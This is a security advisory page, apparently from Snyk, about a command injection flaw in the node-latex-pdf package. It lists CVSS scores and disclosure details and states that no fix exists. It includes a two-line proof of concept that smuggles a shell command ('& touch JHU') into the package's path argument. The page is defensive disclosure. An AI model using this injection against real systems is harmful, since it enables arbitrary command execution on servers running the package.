Command Injection Affecting node-latex-pdf package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.25% (66th percentile)

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  • Snyk ID SNYK-JS-NODELATEXPDF-1050426
  • published 21 Jan 2021
  • disclosed 11 Dec 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for node-latex-pdf.

Overview

node-latex-pdf is a package that converts your latex files to pdf format.

Affected versions of this package are vulnerable to Command Injection.

PoC

var a =require("node-latex-pdf");
a("./","& touch JHU",function(){})

CVSS Scores

version 3.1
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Snyk

Recommended
7.3 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    Low
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NVD

9.8 critical